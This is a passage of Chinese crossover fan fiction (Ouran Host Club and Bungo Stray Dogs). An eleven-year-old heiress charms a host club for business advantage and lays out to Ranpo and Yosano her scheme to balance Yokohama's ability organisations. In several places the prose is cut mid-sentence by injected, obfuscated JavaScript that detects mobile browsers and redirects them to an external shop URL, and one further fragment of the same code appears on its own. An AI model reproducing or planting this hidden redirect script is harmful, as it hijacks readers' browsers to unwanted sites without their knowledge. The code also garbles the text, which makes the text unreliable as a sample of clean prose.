虽然利用皮囊和口才纯纯服务他人情绪是琉璃不看好的,但果然还是亲身体验才知道什么叫偏见。 她真的有些期待了。 11. 十一颗宝石 提前用望远镜超前点播了东久世琉璃的容貌,但当她真人踏进音乐教室的那刻,众人的意识还是迷离了一瞬,只凭借着专业与熟练度维持迎客造型, “美丽的小小姐,欢迎来到男子公关部~” 不知道从哪里飘来的瓣瓣樱花增添了唯美气氛,须王环简单给双方做了介绍,趁着琉璃分发礼物把凤镜夜拽到旁边询问, “布置的装饰呢?” “都拆了。” “那些植被呢?” “搬走了。” “精心设计的衣服呢?” “收到箱子里了。” “那我的计划不就是全部撤销了吗!” 防着琉璃听见,须王环只能用气声无能狂怒。他就去校门口接个人,他的好兄弟们怎么在背后偷偷拆他的台啊! 须王环扶额:“理由呢?” 凤镜夜:“理由就是东久世小姐今天是穿校服来的,我们约会的地点也在学校。” “这算什么理由?” 须王环的无奈反射在凤镜夜的镜片上,后者慢悠悠补充: “当然,还有你偷偷给我发简讯,让我们收着点的原因。” 凤镜夜把新鲜出炉的计划书拍在须王环胸膛,“第一次约会,还是给彼此留下清爽的好印象吧,对方可是小学生,不要当猥琐的怪前辈哦。” 须王环:“啊?猥琐?这是在说我吗?!” 另一边,琉璃带来的手作甜品礼盒得到了光邦的超高赞誉。 “这是给我的吗?上面的绘图好可爱啊,看着就好好吃,太感谢你了,琉璃!啊,我可以这么叫你吗?对了,你叫我Honey就好,大家都是这么叫我~” 光邦在心里给琉璃猛猛加分。 好不容易遇到比他矮小的人,长的像人偶一样精致,跟他的粉兔子玩偶一样可爱,还给他带了甜品,满分100,他都能打出10000分。 常陆院双子也围在琉璃身边找话题说笑。他们的禁断骨科表演被镜夜禁止了,没了大招,只能努力展示男公关的基本功——话疗。 嘴上说些轻松欢快的,思维却忍不住飘散,看着美丽乖顺金发混血酷似须王环亲妹妹的琉璃,不禁生出些恶作剧的冲动。 可爱的像自家孩子一样,捉弄一下不过分吧? 琉璃没察觉双胞胎的坏心思,还在回复光邦的提问,“Honey前辈怎么称呼我都可以,您喜欢就好。” doki! 光邦和常陆院双子被击中心脏,这样漂亮听话的妹妹谁会不想要! 应对完这边,琉璃转移对象,把另一个礼盒推到铦之冢崇面前, “给铦之冢前辈准备了跟甜品配套的茶叶,希望您能喜欢。” “嗯。”铦之冢崇沉闷的应声,眼睛里却有细微的光在闪烁,嘴角也上升了零点零几个像素,是肉眼不太可见的高兴。 琉璃看着面前这几位学长,大脑略微变得迟钝,也是好久没遇到这么多单纯的人了。 松本健川整理的资料她当然认真翻看过,樱兰的男子公关部一共六位成员,各个家世显赫,涉及金融、医疗、文艺、武道等多个行业,除了不受宠的家中三子凤镜夜,其他人都是被当做继承人来培养的。 但是这一圈接触下来,还是戴着眼镜的凤镜夜更像是心眼最多的那个人。 却连太宰治的车尾气都追不上,只比梦野强上一些,呆呆傻傻的都有点惹人怜爱了。 这次邀请她还以为有须王家示好的意思,现在来看主要是须王环个人的意愿,说着要“守护女孩们的笑容”,所以看到她孤零零的就不由自主对她上心了吧。 太善良了,在贵族学校里开男公关部有一定的社交作用,可初心还是想让大家开心而已。 用自己的皮囊和口才为他人谋福利,这种大慈善家的行为,琉璃不看好,因为她喜欢利用这些为自己谋福利。 这次约会她表现的纯真烂漫,乖巧知礼,虽然须王环的主要目的不是打好关系为未来的合作铺路,但她的目的就是这个。 她用脸骗这些高中生,也是间接在骗他们身后的当家人。 留下美好的印象,可以合作,可以降低对方心理防线,也可以在必要的时候算计对方,这才是琉璃心中的有效用脸。 埴之冢光邦没看出琉璃脑袋里的弯弯绕绕,笑得灿, “呐,琉璃酱,今天天气这么好,我们出去野餐吧~” “是的,东、琉璃小姐,我们都准备好了。”凤镜夜靠近,伸手邀请:“请起身与我们一同奔赴春日的盛宴吧~” 公关部的几人俊美的各有所长,真挚温柔,举止风度优雅,无可挑剔,都站在琉璃面前摆出邀请姿态。 多少贵女梦寐以求的一刻,琉璃却满心都在想着凤镜夜的措辞。 把“东久世小姐”顺势换为“琉璃小姐”,拉进关系,她果然没看错这个人,有点心计,连这一点顺杆爬都显得可爱。 琉璃如须王环所愿,弯起眼眸真心地笑了,“好,那我们出发吧~” doki! 公关部六人直面琉璃的笑颜,暗自捂住心脏一起在心里放烟花。 是天使吗?是天使吧! * 埴之冢光邦拉着琉璃走在前面,须王环不死心还在队尾翻看计划书, “就是出去野餐吗?这跟小学生春游有什么区别?” 光:“没有区别,小小姐本来就是小学生啊。” 馨:“走吧,殿下今天当好温柔学长就行了。” 光&馨:“王就在今天退位吧。” 凤镜夜示意双子去前排陪琉璃,自己退回来把须王环往前推,面色说不出的古怪, “把我们重要的客人一个人留在前面,不是殿下应该有的作为吧。” “我知道。”须王环就是看光邦和琉璃聊的很开心,才想着借机赶紧看看计划还有哪里能填补的地方。 凤镜夜直接把他手里的文件夹抽走, “快过去吧,临场发挥也是你的强项不是吗?” “那是当然~”须王环摆出一个自信的pose,像一尾银鱼瞬间钻到前排,无缝插上话。 凤镜夜看他的身法无奈地笑了,含着淡淡的羡慕。 只有这么纯粹的人才能靠近东久世琉璃吧。他无法只把对方当成11岁的孩子那样相处,虽然他精于计算,但直觉告诉他真实的人才能被对方纳入眼底。 像他这样的,只会被扒下层层伪装丢弃罢了。 有说有笑,一行人来到大片樱花树下,花瓣柔柔的,混着微风和光,晃动在一片碧蓝晴空下。 须王环也认命了,不再想些花招,就算是只用学长这个身份,他也要处处体贴学妹,任何细节 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454010|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都尽善尽美,一些习惯性的甜言蜜语被常陆院双子有意识地调侃,提供了一些笑料。 全身浸润在水中一般,琉璃感觉灵魂都透着说不出的轻松感。 这种小孩子过家家一样不用动脑子的相处,满身防备都要松懈了,乱步说的果然正确,是该多出来走走,在港口mafia透过多明亮的玻璃看天空都是黑沉沉的,但其实外面天气晴朗的都不见大朵的云彩。 眸光流转,琉璃一眼就发现凤镜夜有远离她的迹象。 应该不是看透了她的伪装,那其他原因就无所谓了,六个人她全都要。 尤其是凤镜夜这个在家里地位低,脑子还好用的,不失为一张王牌。 “因为各种各样的原因,我没在学校待过多久,能麻烦前辈们带我转转吗?”琉璃有些不好意思地歪头请求。 就让这次过家家持续的长一些,用力在他们的记忆里刻下痕迹,才算不虚此行。 …… “真是可怕呢~” 江户川乱步装模作样抖了下身子,嘬了一口手里的甜牛奶。 如他所料,琉璃在跟金毛前辈约会之后,肯定会留时间来找他。 不枉他特意提前把社员们都忽悠走,连最敬爱的社长也没放过,只独自一人在侦探社里等待。 谁让他现在还只是个地下未婚夫,只敢在港口Mafia面前耀武扬威一下,明面上爆出这个身份会引来一些没必要的流言蜚语。 琉璃坐在乱步对面,抿了一口侍女刚泡好的红茶,顺着接话:“有吗?还好吧。” 这一批顶级财阀继承人大多年龄比她大,交往会有代沟,利用好每次见面的机会才高效。 尤其她的父亲现在主攻海外市场,国内的社交就需要她长大后当顶梁柱了。 江户川乱步皱了皱眉,持反方观点,简直是可怕的要命! 人家真心实意邀请琉璃去做客,而琉璃满脑子都在想该怎么不动声色打好关系,便于以后利用。 为此见人下菜碟,分析出学长们吃软不吃硬,装出一副小女孩姿态,跟在港口Mafia时的“女王大人”状态天差地别……这样示弱的可爱模样,怎么能让外人看见! 江户川乱步在琉璃缜密的算计中抠出了一口醋,咬牙喝下去了,嘴上却把话圆了过去: “太可怕了,你今天过来竟然没有给我带点心吗!我可是等了你好久!” 乱步惯常的撒娇在琉璃面前很好用,主要体现为琉璃更加喜欢他,更加在意他的健康,更加不给他带甜点。 如此反向操作,乱步看清楚了,但乱步改变不了,还得自己把自己哄好。 乱步:“我可是刚去过了邪恶的牙科诊所,牙齿状态非常健康,这次就便宜你了,让你尝一尝我珍藏的点心!” 能消耗乱步的点心库存,琉璃是很开心的,拖着下巴看着乱步在藏匿点里翻找, “这次就先麻烦乱步大人啦,之后会补上的。”养未婚夫是这样的,还是得顺毛捋一下。 只翻出最想要的那包点心,乱步就停手了, “应该回来了吧。” 乱步起身走到门口开门, “今天我想吃草莓味的蛋糕,没有买错吧?” “啊?” 与谢野晶子被猝不及防的开门吓得后退半步,手里正提着一袋甜食,神情僵硬尴尬。 12. 十二颗宝石 “……是买了草莓蛋糕,也有其他口味的。” 与谢野收拾好表情,顺着乱步的话提起手里印着logo的袋子。 作为武装侦探社的骨干成员,与谢野晶子是少数知道琉璃要过来的人。因为某种原因,她想着要杀个回马枪找机会跟琉璃聊聊。 这就需要一个回来的借口,正好从早上遇见乱步开始,就看他趴在桌上感叹自己想吃草莓蛋糕,她也就拿着“买甜品招待琉璃”当借口,回到了侦探社。 还是买的生意爆火的那家,排了一个多小时才买到,就是觉得牌子货才配得上东久世琉璃豪门继承人的身份,让她买甜品的行为更站得住脚。 现在这么简单被乱步发现,与谢野也意识到自己的行为都在乱步的设想当中。 嚷嚷着要吃草莓味的,已经称得上是明示她,在提前点单了。 乱步从与谢野手里接过袋子,“好了,甜点收到了,你不走吗?” 这理所当然的语气又听的与谢野心跳一顿。 原来还有第二层吗? 乱步跟她说的这几句对话,就像是乱步支使她去买甜品的一样。 如果她现在后悔了,不想再继续自己的计划,就可以在这个节点全身而退,当做什么都没发生离开侦探社。 乱步是在给她第二次选择的机会……但是如果那么好放弃的话,她也不会冒险回到这里了。 三秒钟没从与谢野那里得到回复,乱步也明白后面将有一场阻止不了的谈话,没再堵着门口, “那看在蛋糕的份上,我就不嫌弃你过来当电灯泡喽~” 乱步没回原位置,自然蹭到琉璃那边,翘着嘴角迫不及待拆开甜品包装盒。 他没急着把牙医的诊断告诉琉璃,就是因为他看出了与谢野会想办法插入他和琉璃的约会。 不如就自己帮她找个借口,也是白捞了个跑腿买蛋糕。 与谢野在乱步的招呼下坐到两人对面,身在归属感十足的侦探社中却有些拘谨。 还是琉璃先开口:“好久不见,与谢野医生。” 琉璃神情颇为惊喜,友好微笑。 蹲在楼下的保镖早就把与谢野过来的消息发送到她手机上了,还配了视频。现在她权当不知道。 “琉璃小姐,好久不见,今天任务结束的早,我想着侦探社里没备什么东西,就顺路给你们带点吃的。”与谢野晶子越说气越短。 她本来觉得天衣无缝的理由越说越觉得蹩脚。 对面可是坐着两个聪明人,虽说乱步不会拆穿她,但年纪尚小的琉璃却也不好糊弄。 说话间玲月给与谢野端上一杯茶水,又退回茶水间避开三人的谈话。 这几秒钟的打断够琉璃想明白一点事情。她刚才习惯性表演了不知情的“惊喜”,可看与谢野这个不自在的状态,她的表演应该是没意义了。 与谢野应该是想跟我说些什么难以启齿的。琉璃判断道。 而且因为与谢野没能力从她嘴里套话,最后只会演变成坦白。 作为乱步的亲友,琉璃给她这个机会,既然要摊开了讲,那所有的表演就都不需要了。 “晶子姐姐,有什么事就直说吧。” 琉璃突然改变了称呼,打了与谢野个措手不及。 她酝酿好的话语哽住了,下意识看向江户川乱步。 “安啦,有什么话对琉璃直说就好了~”乱步挖一大口蛋糕塞进嘴里,自在极了。 这样不靠谱的姿态反而让与谢野安心不少。 她指腹摩擦着茶杯柄,犹豫两秒,出于对侦探社大脑的信任,直抒胸臆:“琉璃,你为什么要跟森鸥外合作?” 目不转睛等着琉璃的答案,与谢野还是觉得自己过于直白,在茶水蒸腾的热气中补充: “抱歉,我不是质问…就是想弄明白这件事。” “嗯,没关系。”琉璃理解。 与谢野这么问在琉璃的推演中完全合理。因为与谢野曾被森鸥外狠狠伤害过,打心眼里觉得森鸥外是一个大恶人,森鸥外也确实是。 而琉璃作为乱步的未婚妻,也算是半只脚站在侦探社这一方,却跟森鸥外友好合作,确实值得问一下。 但是这个问题憋了这么久,琉璃是没想到的,她还以为与谢野会问一些别的更深刻的。 因为她已经在港口Mafia待了一段时间,连乱步都去溜达过一回,怎么这个问题还没得到解答? 琉璃曲起胳膊轻怼了下身旁的乱步,“你没说吗?” “欸?我要说吗?”乱步动作一顿,叉子一偏,奶油蹭到脸颊。 乱步弯腰,琉璃拿出手帕给他擦干净, “你不会连社长都没告诉吧?” “没啊,这不是显而易见的原因吗?”乱步说的坦然极了, “琉璃选择和森鸥外合作肯定是有利可图啊。因为有收益,所以有合作,有什么好解释的?” 琉璃:“但是武装侦探社跟港口Mafia称得上老死不相往来。”也可以说是有仇, “你不讲清楚的话,侦探社的成员们不会介意吗?” 乱步眯着眼睛继续品尝蛋糕,语调不改:“琉璃又不是侦探社里的成员,想做什么就做好了,难不成还要受我的身份牵绊吗?” 如果以后有逼不得已的情况,侦探社大概率还是会跟港口Mafia合作。但是当着与谢野的面,乱步不会做出这种预言。 “我‘世界第一名侦探’的身份,只会是琉璃的助力哦~” “所以就像乱步说的这样。”琉璃转回头,定定看向好像被塞了口狗粮,有些迷茫的与谢野晶子, “是因为得到的回报会大于付出,我才与森鸥外合作的。” “很抱歉不能感同身受你经历过的痛苦,目前来看,扳倒森鸥外比较难,但是利用他的话很简单。” “我看中了他的价值,也看中了港口Mafia的潜力,所以决定以身入局,就是这样。” 与谢野大脑转不过来,一时愣住了。 她第一次听到有人说要利用森鸥外。那种人是可以轻易被利用的吗?一招不慎就会被他算计,聪明反被聪明误。 与谢野急忙强调:“可是森鸥外没有那么简单!他的狠毒超过所有人的预料,行为也不可控,他就是个不把别人放在眼里的疯子,混蛋,魔鬼!” 与谢野晶子的异能力「请君勿死」,可以救治濒临死亡的人。 森鸥外为了实践自己创造“不死军团”的想法,把别人的命当玩具一样摆弄,命令与谢野无限救活战争中濒死的士兵,让士兵们活到想死,生生在一次次死里逃生中失去了所有希望,甚至主动自杀。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454011|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “道德上来讲他确实是个十恶不赦的罪人。”琉璃直接盖棺定论, “但现在他的心里装着港口Mafia,他的事业就是他的弱点,我大概率不会亏本。” 这是谦虚的说法,实际琉璃认为自己能得到更多。 就是因为有与谢野晶子之前的悲惨经历,琉璃才更了解森鸥外,更加自信自己计划的可行性。 资本家最怕不管不顾,了无牵挂,什么都可以舍弃的疯子,而森鸥外不是一个愿意跟人同归于尽的人。 他在那场输的凄惨的战役中都能全身而退,可见其能力与黑心程度。这种人才更容易聪明反被聪明误。 与谢野还想劝琉璃:“可是万一呢,万一你没算计过他,不也要被他伤害了?” 她的眼睛失去光彩,像是重新回到那暗无天日的时光中,手指下意识握紧茶杯,被烫到才险险回神。 琉璃也有点被她的状态吓到了, “所以晶子姐姐…是在担心我吗?” 她还以为与谢野只是不想让森鸥外好过,觉得他不配东山再起,应该在泥沼里面腐烂发臭。 没想到是在担心她……为什么呢?明明两个人并不算熟悉。是因为乱步吗?还是单纯不想让别人走上她的后尘? 疑似失去所有力气,与谢野弯下脊背,缓慢开口:“我说什么都没有用吧?” “你那么聪明,比那时候愚蠢的我强多了,当时森欧外说什么我就信什么,造成了那样的惨剧……我们不一样吧?” “是的,我们不一样。”琉璃笃定的话语直直刺向与谢野,让她羞愧地垂下头,任由发丝遮挡住视线。 果然她改变不了什么,今天过来也只不过是浪费乱步和琉璃的约会时间而已。 但琉璃不是这个意思。 与谢野晶子善良又坚韧,眼里容不下沙子,怎么可能跟她是一样的人。 在与谢野心灰意冷起身要离开时,琉璃提高音量开口: “我们不一样,是因为当时晶子姐姐是一个人,而现在我有你们。” 与谢野诧异回头,对上琉璃少见的略带讨好的微笑。 “晶子姐姐会帮我的吧?我一个人可能应付不来,但是我们一起的话总能在森鸥外手里抠出一块肉来。” “他没有多么坚不可摧,把他想要的抢过来,也够解气的吧。” 琉璃从乱步面前顺走一块蛋糕,推到与谢野那侧,怯生生的眼神,期待中藏着狡黠, “我拿这个贿赂你,行吗?” “……哈?”与谢野转过身来,“‘贿赂’这个词不该这么用吧?” 她重新坐下,脸上泛着不自然的薄红,“用我买的甜品来拜托我吗?” 拿起叉子轻挑一块奶油塞进嘴里,“好吧,从那个该死的人手里抢东西,听着确实很爽。” 乱步给她的第二次选择机会,原来体现在这方面吗? 只要她不走,就免不了会加入琉璃的阵营。 与谢野妥协轻笑:“我这算是上‘船’了吗?” “…嗯。”琉璃笑着应声,偷瞥一眼在旁边充当背景板的乱步。 他正好侧过身子背对着她,起身跑去拿气泡水了。 “那可以说一下你的计划吗?”与谢野的情绪恢复平稳,头发上的蝴蝶发饰泛着蜜色的光。 13. 十三颗宝石 “计划啊……”毕竟是盟友了,“是该讲一下。”琉璃莞尔一笑,脑子却在分析现在的局面。 她一开始只想着回答与谢野的疑问,可聊着聊着就没忍住用了点手段,把与谢野拉上船了。 因为与谢野“只要还有一口气就能把伤患治疗到最好状态”的异能力太好用了,为人还很正直不会背刺,适合拉到己方阵营,就下意识这样做了。 但其实不结成同盟又能怎样?只要琉璃想用与谢野的异能力,总有办法能用上。 而她和与谢野的关系发展到这个地步……怎么想都是乱步在算计她。 是的,那个全程没说几句话,在旁边扮演吉祥物,像是来跟甜品约会的江户川乱步,算计她了。 去拿汽水什么的都是掩饰,乱步心虚的不敢跟她对上视线。 说着她不是侦探社的成员,做什么都不会受拘束,却又算准了她会忍不住对与谢野下手……其实还是希望她跟侦探社里的人关系好一些吧。 算计完与谢野又算计她,可谓是煞费苦心。 琉璃在心里瞪了乱步一眼,又有些纠结。 盟友又不是非要坦白,坦白又不是非要说真话。 如果是别人,她该利用利用,蒙混过关就行了。 但是侦探社里的人是乱步的家人,她不想把家人当工具,所以要么不说,要么就只能说实话。 这计划连乱步都不是百分百清楚,与谢野加入了也就只能当个后勤,知道计划内容,意义不大。 要是与谢野干净到接受不了她自私自利的筹谋,反而跟她生出嫌隙,不是得不偿失吗? 所以不说?还是说实话? 与谢野看出了琉璃的为难,反思自己短时间之内逼琉璃讲太多也不好, “要不…”下次再说? “就好好讲讲吧,撑开了大讲特讲一下,正好细节的地方我可以帮忙打磨。” 乱步适时截住与谢野的话头。 怎么可以下次再说呢?他好不容易促成了这个局面~该他发力了! “琉璃也没跟我认真讲过呢,现在我们三人小组正式成立了,快分享一下吧!”江户川乱步攥着喝剩的半瓶波子汽水,在桌面上摆好。 事情发展的太快,他也没来得及好好跟琉璃聊过这件事,有他在就不可能让琉璃孤军作战。 琉璃能够交心的盟友很少,什么事都憋在自己心里容易出意外,那就让他来做桥梁,他可是最最靠谱的未婚夫! “说出来更好吗?”琉璃侧头向乱步讨要确定。 乱步只睁开翠绿眼眸看了琉璃一下,琉璃就妥协了。 江户川乱步是她一生的同盟,她相信对方的判断。 图个心安,琉璃让玲月用屏蔽器断了附近的网络, “其实我的计划没有多么复杂,就是制衡。” 与谢野聚精会神,“制衡?” 琉璃:“是的,制衡这些不受管控的异能力组织。” 明面上,东久世家族不好主动插手异能力领域,会打破资本之间的平衡,成为众矢之的。 但横滨的异能力组织分外猖獗,作为少数把本家定在横滨的顶级财阀,东久世家族需要这些组织状态稳定,不影响东久世与租界内外各公司机构的生意往来,不破坏市场引起过分动荡。 发战争财从来不是东久世的优选。 所以东久世家族就如同往常选择与官方进行合作,投资帮助建立异能特务科,自己则不主动与异能力组织沟通,降低存在感,把执行权留给官方。 这相当于是做慈善了,条件是不进行公示,并定期汇报资金去向。 而这一切的操作,都是从发现琉璃有异能力才开始的。 以东久世家族目前在国内外的体量,根本没必要趟这浑水,但是他要给下任继承人备好成长的空间。 有能力,就给它预留发光的场景。东久世家的孩子只需要决定自己想得到什么,障碍会倾家族之力为之扫除,这就是赚钱的意义。 琉璃:“异能力很厉害,什么类型的都有,但异能力者很散乱,连官方也做不到统统凝聚。” 她没打算极致的去开发自己的异能力,她有更重要的事要做——成为操盘手。 比起招人眼球向全世界炫耀这种神秘力量,她更想把拥有这些力量的人围笼住,不让他们随心所欲的肆意蹦哒。 意外的瞌睡了就有人送枕头,港口Mafia给了琉璃进入异能力界的机会,就算她现在可能把控不住,她也要入局。 “每一个异能力者,都是组织博弈的底牌,只要保持彼此战力相对均衡,组织们相互忌惮,就不会闹出大的风浪。”琉璃的声音如清泉流经巨石,激荡出声响, “我就是希望这种局面出现,维系平衡,稳定居民生活,给横滨带来和平。” 和平…吗? 与谢野为这个目标心动,但看琉璃和乱步的表情,感觉不像听起来这么简单,谨慎追问: “这不是很正义的想法吗?”怎么藏着掖着的,难不成是怕别人泼冷水说异想天开? 果然,乱步悠哉说道:“并非正义。” 琉璃环抱双臂,资本家气场全开, “维护和平不过是美化的说法,我的私心是提高居民的消费热情,让东久世家族稳稳站在横滨,屹立不倒。” “横滨是一个独特的,机遇与危险并存的地方,很多资本图安逸都逃走了,钱不能都让租界里的企业赚了,我要东久世家族成为横滨名副其实的top 1!” 竟然是这样朴实无华的理由吗?与谢野晶子大受震撼。 她的视线不经然转到乱步那边, “……噗嗤!”两人一起没忍住笑了。 “这就是琉璃的野心了,把东久世家族做大做强。”乱步展开双臂在空中比划。 琉璃大度原谅了他俩的忍俊不禁, “是的,也没什么好隐瞒的,我的父亲,东久世的现任家主,是世间绝无仅有的恋爱脑,国内的产业已经不想管了。” “如果不是我在这里,东久世家早就搬走了。”为了跟随她的母亲,资产会大量转移到国外。 “但是我不想这样,我要守住东久世家族在霓虹的产业,延续辉煌。”因此她才出席了须王环回国的宴会,在未来的合作方面前混个脸熟。 “噢……”与谢野用手挡住嘴巴,对乱步说悄悄话:“琉璃的事业心好重啊。” 乱步有样学样,凑近与谢野,“是这样的,琉璃不想把收益都留给外国企业,跟她的父母不爱回国,在国外转着圈的旅游也有关系。” “我听到了哦。”琉璃抿唇无语。 两个人隔着桌子说悄悄话,很难听不到。乱步还趁机把她的小心思吐露出去,就算是为了拉近距离,也没必要做到这种程度吧? 桌下,琉璃侧踢了一下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17454012|201193||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乱步的小腿,乱步立刻靠后坐好,上看下看,装作很忙的又拿起桌上的波子汽水灌了一口。 琉璃没去看他,继续发言: “欲望越大,责任越大。我拥有金钱与权势,甚至还有异能力,做什么都方便。” “无知的平民只需要按部就班平安快乐地生活,踏踏实实赚钱,然后让金钱流通起来。” “硝烟的部分由我来帮助解决。” “社会就如此健康持续地运转。” 琉璃脸上露出一抹淡淡的,势在必得的笑,眸光深处是耀眼的野望, “和平是我对横滨最基础的要求,当然,说的好听点,这是所有人的共赢。” 只不过她想一手促成,成为最大赢家。 与谢野晶子呆愣着睁大眼睛,被琉璃的话语震慑住了,好像是听了一场激动人心的演讲。 这种资本家,说着“欲望越大,责任越大”,惦记着和平和钞票……也太讨喜了吧? 乱步在旁边很有眼力价地鼓掌,“太棒了,这才是资本家该有的风采!” 琉璃喝了口茶润嗓, “所以我希望民间和官方的能量可以达到平衡,这样两边都不敢有什么大动作。” “说起来侦探社也像是这样的杰作呢,用于平衡各方势力,创立的不受干扰的民间组织。” “可能是吧。”乱步把话岔了过去, “所以琉璃的计划是什么呢?” 琉璃:“是……” 两人同步期待地望向琉璃。 “走一步看一步。” “啊?”与谢野有点懵。 琉璃:“森鸥外让我去帮助梦野久作,也是在试探我对异能力的态度,看我愿不愿意投资利用异能力去做些什么。” “如果我愿意,他就抢先合作,我不愿意,他也不亏。” “我知道森鸥外的野心,也看好他的能力,在他建设港口Mafia的同时,我会看准时机从中操作,让他和官方尽量保持平衡,至于具体方法,就是走一步看一步了。” 没等与谢野消化理解,乱步不悦皱眉, “就是这样吗?不是说要把他们当棋子的吗?” “你就应该先对太宰治这样那样,再对梦野久作那样这样,森欧外那边也可以里边外边,他肯定会对你鼓秋鼓秋,所以你也要相对的动次打次……”乱步秃噜出来一连串的损招,生怕琉璃下不去手。 “倒也没那么着急。”琉璃失笑,抬手掐了一把乱步鼓鼓的脸颊,“动作太快我也控制不好节奏,那我就先……” 与谢野没想到最邪恶的竟然是乱步……不,这是聪慧! 后面的战术商讨她就插不上嘴了,老老实实当个听众。 时间飞逝,琉璃挥手告别,留下吃饱喝足的乱步和大脑内存严重不足的与谢野。 现在与谢野晶子脑袋里只清晰浮现一个问题, “……乱步先生,你是怎么成为琉璃的未婚夫的?” 她实在好奇,乱步怎么能得到琉璃全心全意的信任。 两个人无话不谈,举止亲昵,自成结界。 虽然乱步受人喜欢理所当然,但对方是琉璃,就很神奇了,怎么可能年纪这么小就定下了一个没什么身份背景的未婚夫? “哼哼~”乱步一脸你问到点子上了,得瑟扬起下巴,声音缱绻: “琉璃她呀,对我是一见钟情哦~” 14. 十四颗宝石 “琉璃非常非常,非常喜欢我!” 乱步招摇地用手指弹了一下自己的帽檐, “我的长相,性格,尤其是我拥有的世界排名第一的异能力「超推理」,琉璃都喜欢的不得了呢~” 与谢野:“…啊,这样吗……” 她嘴角轻轻抽动,声音飘忽地捧场。 乱步是在显摆琉璃对他的感情,但呈现出来却像是小孩子夸张滑稽的舞台表演。 而且他们武装侦探社唯一的侦探,江户川乱步根本没有异能力,是社长为了让他融入这个“笨的要命”的世界,撒谎说他戴上眼镜就能发动自己的异能力。 是个哄孩子的善意的谎言。 这件事情琉璃知道,所以不存在什么被异能力吸引……但是说不好确实是被极度聪明的大脑吸引了? 凭琉璃的事业心程度,与谢野合理推测她是个智性恋,这样就解释的通了。 乱步没去揣测与谢野的思想,自顾自继续: “但是!”他站起身,单手撑着桌子, “最最关键的是我这双绿色的眼睛。”乱步用手指着自己突然睁大的双眼,近距离给与谢野展示。 那是双蕴藏了无限生机的眼眸,看不见半分阴霾,棵棵挺拔的树木矗立其中,连绵成碧绿的一片,仿佛有清新的空气从中逸散,混着泥土的湿气,草叶的清香。 “只有我知道,琉璃最喜欢的颜色不是什么蓝色粉色。” “而是跟我眼睛一样的绿色。” 乱步站直身体,骄傲宣布: “我和琉璃是天造地设的一对,她只要遇到了我,就不会再对其他人动心了!” 与谢野看得眼神发直,声音在嘴里打了个转,又咽了下去。 这个理由……还赶不上智性恋吧? 绿色眼睛的人不是多了去了? 喜好什么的也是会随年龄增长改变的,更何况是一个复杂的人喜欢另一个复杂的人。 东久世琉璃相貌异常出众,智力远超常人,家世更是站在金字塔顶端,现在小学还没毕业……与谢野不是觉得乱步配不上,只是看他这么乐在其中,担心他乐极生悲,在感情上受伤害狠摔一跤。 万一琉璃长大后权衡利弊想去搞个什么联姻,乱步不就完了吗?! “……琉璃还是个小孩子呢。”与谢野移开视线看向窗外,莫名心虚。 她拐弯抹角想出这一句,也足够乱步听懂了。 “嗯~”乱步低吟着轻巧坐下,修长的手指轻敲在自己的上臂, “不要拿常理来推想琉璃啊,任何方面都是。” “就是因为太聪明了,她才能这么坚定果断地选择了我。” 乱步不疾不徐,像是在娓娓道来一个故事, “我们在命运的牵引下,认定了彼此……”不会有更惊艳的人能出现在对方的生命中了。 他算计琉璃把与谢野拉上船,还有一个原因谁也没发现。 是想让琉璃在阳光下多几个同伴,而不至于在阴暗中待久了,有了情义,不知不觉的偏心。 不孤独是人生最大的幸运。 他也决心利用这份不孤独,把琉璃牢牢绑在自己身边。 江户川乱步抬手,用温热的指腹蹭了蹭琉璃掐过的那片脸颊,微眯的眼眸中,一丝几不可见的强势飞速划过, “晶子现在是唯二知道琉璃喜欢绿色的人了,不允许送她绿色眼睛的玩偶哦,我会吃醋的!” 乱步的威胁不具有什么力度,脸上还挂着餍足的狐狸笑。 与谢野日常把这个比自己大的少年当孩子一样宠着,但在这个时候也忍不住会想—— “乱步先生,你这样……” 好不正经,像个变态。 他们侦探社养孩子的方针是不是出问题了? —— 只不过是一天不见,琉璃就觉得自己在港口Mafia的两个直接合作伙伴,变化好大。 太宰治莫名其妙把一只眼睛用绷带绑起来了,手上拿着本红皮书,一有空闲时间就仔细研读书中了结自己生命的方法。 还以为是被弹片划伤了眼睛,琉璃随口关心了一句,被太宰卖了波可怜。 第二天又看他把自己另一只眼睛绑了起来,而前一天被绷带覆盖的那只眼球,毫发无伤。 这……就是中二病吧?琉璃悠悠判断道。 太宰治的西装是黑色的,头发是黑色的,眼眸是暗红的,确实有种吸血鬼般的暗夜嗜血感。 洁白的绷带压在蓬松微卷的茂密发丝下,缠绕在无血色的苍白面容上,盖住一只静谧流淌着猩红的眼睛……是脆弱,亦是伪装。 可能下一秒就要起身吟唱什么魔咒,说自己封印了什么,又召唤出什么力量,要打败什么魔兽。 